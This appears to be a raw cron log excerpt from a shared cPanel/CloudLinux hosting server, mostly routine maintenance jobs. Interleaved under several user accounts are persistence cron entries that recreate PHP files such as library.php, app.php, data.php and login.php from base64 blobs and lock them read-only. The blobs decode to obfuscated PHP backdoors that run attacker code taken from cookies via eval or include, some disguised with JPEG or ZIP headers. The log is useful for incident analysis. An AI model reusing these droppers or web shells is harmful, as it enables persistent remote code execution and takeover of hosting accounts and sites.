fQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:29:01 medusa CROND[27930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:29:01 medusa CROND[27931]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:29:01 medusa CROND[27933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:30:01 medusa CROND[29775]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:30:01 medusa CROND[29779]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:30:02 medusa CROND[29791]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29797]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29799]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29800]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:30:02 medusa CROND[29802]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:30:02 medusa CROND[29798]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:30:02 medusa CROND[29801]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:30:02 medusa CROND[29807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:30:02 medusa CROND[29810]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:30:02 medusa CROND[29812]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:30:02 medusa CROND[29806]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:30:02 medusa CROND[29820]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:30:02 medusa CROND[29814]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 12:30:02 medusa CROND[29823]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:30:02 medusa CROND[29809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 12:30:02 medusa CROND[29827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:30:02 medusa CROND[29830]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:30:02 medusa CROND[29828]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29829]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29836]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:30:02 medusa CROND[29824]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29843]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29844]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 12:30:02 medusa CROND[29847]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29846]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:30:02 medusa CROND[29832]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:30:02 medusa CROND[29835]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 12:30:02 medusa CROND[29851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:30:02 medusa CROND[29854]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Jun  7 12:31:02 medusa CROND[32228]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:31:02 medusa CROND[32229]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:31:02 medusa CROND[32230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:31:02 medusa CROND[32231]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:31:02 medusa CROND[32232]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:31:02 medusa CROND[32233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:31:02 medusa CROND[32234]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:31:02 medusa CROND[32235]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
